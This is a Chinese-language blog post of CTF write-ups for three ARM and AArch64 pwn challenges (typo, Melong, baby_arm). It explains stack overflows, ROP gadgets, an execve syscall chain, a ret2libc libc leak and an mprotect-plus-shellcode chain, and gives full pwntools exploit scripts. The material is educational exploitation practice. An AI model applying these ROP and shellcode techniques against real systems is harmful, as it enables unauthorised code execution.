71's blog

宏願縱未了 奮鬥總不太晚

0%

一些arm题

前些天复现漏洞的时候发现 arm rop 不是很熟,于是扒了些 arm 题来做🤐

参考:

[jarvisOJ] typo

arm-32-little,Partial RELRO,No canary found, NX enabled, No PIE (0x8000)

程序实现了打字练习的功能,在输入的时候存在栈溢出漏洞。

动态调试的偏移跟 ida 分析出来的是一样的。不过要注意这题的程序要求先输入回车符,再开始打字练习。我一开始调的时候忘了emm,脚本也是直接 sendline(payload) ,怎么下断点都会崩🤒。

程序是静态链接,可以利用其本身的 gadget、字符串、函数。恰巧这个题既有 system 函数,又有 ‘/bin/sh’,一条 pop {r0, r4, pc} 指令就可以getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import*
context(arch='arm',log_level='debug')
p=process(['qemu-arm','./typo'])
elf=ELF('./typo')

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sla = lambda x,y : p.sendlineafter(x,y)
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()


ru('to quit')
sd('\n')

binsh=0x0006c384
pop_r0_r4_pc=0x00020904

py='a'*112
py+=p32(pop_r0_r4_pc)+p32(binsh)+p32(0)
py+=p32(0x110b4)
rl()
rl()
sl(py)

it()

但是这个 system 函数是经过 rizzo 还原符号表才得到的,或者也可以根据 ‘/bin/sh’ 字符串交叉引用找到 system 函数。如果找不到 system 函数,也可以用系统调用的方法。这里需要用 svc 指令。

我们从 unistd.h 文件中可以知道 __NR_SYSCALL_BASE 的值是0.

1
2
3
4
5
6
7
8
9
10
11
12
#/usr/arm-linux-gnueabi/include/asm/unistd.h

#if defined(__thumb__) || defined(__ARM_EABI__)
#define __NR_SYSCALL_BASE 0
#include <asm/unistd-eabi.h>
#else
#define __NR_SYSCALL_BASE __NR_OABI_SYSCALL_BASE
#include <asm/unistd-oabi.h>
#endif

#include <asm/unistd-common.h>
#define __NR_sync_file_range2 __NR_arm_sync_file_range

系统调用号的映射关系可以在 unistd-common.h 文件中找到。可以看到这里 execve 对应的系统调用号就是 0+11 = 11(0xb).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#/usr/arm-linux-gnueabi/include/asm/unistd-common.h

#ifndef _ASM_ARM_UNISTD_COMMON_H
#define _ASM_ARM_UNISTD_COMMON_H 1

#define __NR_restart_syscall (__NR_SYSCALL_BASE + 0)
#define __NR_exit (__NR_SYSCALL_BASE + 1)
#define __NR_fork (__NR_SYSCALL_BASE + 2)
#define __NR_read (__NR_SYSCALL_BASE + 3)
#define __NR_write (__NR_SYSCALL_BASE + 4)
#define __NR_open (__NR_SYSCALL_BASE + 5)
#define __NR_close (__NR_SYSCALL_BASE + 6)
#define __NR_creat (__NR_SYSCALL_BASE + 8)
#define __NR_link (__NR_SYSCALL_BASE + 9)
#define __NR_unlink (__NR_SYSCALL_BASE + 10)
#define __NR_execve (__NR_SYSCALL_BASE + 11)
......

构造下面的系统调用,我们需要布置 $pc=0x...(svc #0), $r7=0xb, $r0=0x...('/bin/sh'), $r1=0, $r2=0

1
2
3
4
► 0x482fc    svc    #0 <SYS_execve>
path: 0x6c384 ◂— '/bin/sh'
argv: 0x0
envp: 0x0

但是程序执行到溢出点的时候, r1 和 r2寄存器不为空,因此不能直接用 pop {r7,pc} 构造。

程序本身的 pop 指令基本都是 pop r3, r4, r5, r6, r7, r8, r9, pc,因此我们可以借助其他指令,如 mov ,将值从这些寄存器移动到 r1,r2 中。恰巧找到一段既有 r1 又有 r2 的 gadget:

1
mov r1, r4 ; mov r2, r5 ; blx r3

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
context(arch='arm',log_level='debug')
p=process(['qemu-arm','./typo'])
elf=ELF('./typo')

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sla = lambda x,y : p.sendlineafter(x,y)
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

ru('to quit')
sd('\n')

binsh=0x0006c384
pop_r0_r4_pc=0x00020904
svc_0=0x000482fc#svc #0 ; pop {r7} ; bx lr

py='a'*112
py+=p32(pop_r0_r4_pc)+p32(binsh)+p32(0)
py+=p32(0x0000a958)#pop {r3, r4, r5, r6, r7, pc}
py+=p32(svc_0)+p32(0)+p32(0)+p32(0)+p32(0xb)
py+=p32(0x000699E8)#mov r1, r4 ; mov r2, r5 ; blx r3

rl()
rl()
sl(py)

it()

[Codegate2018] Melong

arm-32-little,Partial RELRO,No canary found,NX enabled, No PIE (0x10000)

总共有五个功能,其中写功能存在栈溢出:

1
2
3
case 4:
if ( size[0] )
write_diary(size, buf); // 0x52

size 是从 PT 函数里来的。这里有一个 ptr==exec2 的 check,但是正常情况下过不了。注意到还有一个整数溢出可以利用:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import*
context(arch='arm',log_level='debug')
context.binary = "./melong"
# p=process(['qemu-arm','-L','./','-g','1234','./melong'])
p=process(['qemu-arm','-L','./','./melong'])
elf=ELF('./melong')
libc=ELF('./lib/libc.so.6')

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sla = lambda x,y : p.sendlineafter(x,y)
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

def menu(num):
ru('Type the number:')
sl(str(num))

def check_bmi(h,w):
menu(1)
ru('Your height(meters) : ')
sl(str(h))
ru('Your weight(kilograms) : ')
sl(str(w))

def exercise():
menu(2)

def pt(size):
menu(3)
ru('take personal training?')
sl(str(size))

def write(con):
menu(4)
sd(con)

check_bmi(1,17)
pt(-1)

pop_r0_pc=0x00011bbc
py='a'*0x54+p32(pop_r0_pc)+p32(elf.got['puts'])+p32(elf.plt['puts'])+p32(elf.sym['main'])*8
write(py)
menu(6)
ru('\n')
libcbase=u32(rv(4))-libc.sym['puts']
libc.address=libcbase

success(hex(libcbase))

check_bmi(1,17)
pt(-1)

py='a'*0x54+p32(pop_r0_pc)+p32(next(libc.search("/bin/sh")))+p32(libc.sym['system'])

write(py)
menu(6)
it()

[上海2018] baby_arm

aarch64-64-little, Partial RELRO,No canary found,NX enabled, No PIE (0x400000)

两次读入,第一次读到 bss 上,第二次存在很大空间的栈溢出。但是用 gdb 看了一下,bss 段没有执行权限,不能直接 ret2shellcode。可以用 mprotect 函数开个权限。虽然这里程序本身的 plt 表就有 mprotect 函数,但没给的情况下也可以通过泄露 libc 地址算出来。

参考:hollk——ARM PWN:Shanghai2018_baby_arm详细讲解

arm64 也有类似于 x86 的 csu 的函数,找到下面这段指令后,我们就可以从栈控制寄存器的值,再控制程序流了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00000000004008AC loc_4008AC                              ; CODE XREF: init+60↓j
.text:00000000004008AC LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 MOV X2, X22
.text:00000000004008B4 MOV X1, X23
.text:00000000004008B8 MOV W0, W24
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: init+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#var_s10]
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC RET

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
context(arch='aarch64',endian='little',bits='64',os='linux',log_level='debug')
p=process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu','./babyarm'])
elf=ELF('./babyarm')

ru = lambda s: p.recvuntil(s)
rv = lambda s: p.recv(s)
rl = lambda : p.recvline()
sla = lambda x,y : p.sendlineafter(x,y)
sl = lambda s: p.sendline(s)
sd = lambda s: p.send(s)
it = lambda : p.interactive()

bss=0x0000000000411068
mprotect_plt = elf.plt['mprotect']
csu_down = 0x4008CC
csu_up = 0x4008AC

ru('Name:')
sl(p64(mprotect_plt)+asm(shellcraft.aarch64.sh()))

py='a'*72
py+=p64(csu_down)
py+=p64(0)+p64(csu_up)+p64(0)+p64(1)
py+=p64(bss)+p64(0x7)+p64(0x1000)+p64(bss+8)
py+=p64(0)+p64(bss+8)

sd(py)
it()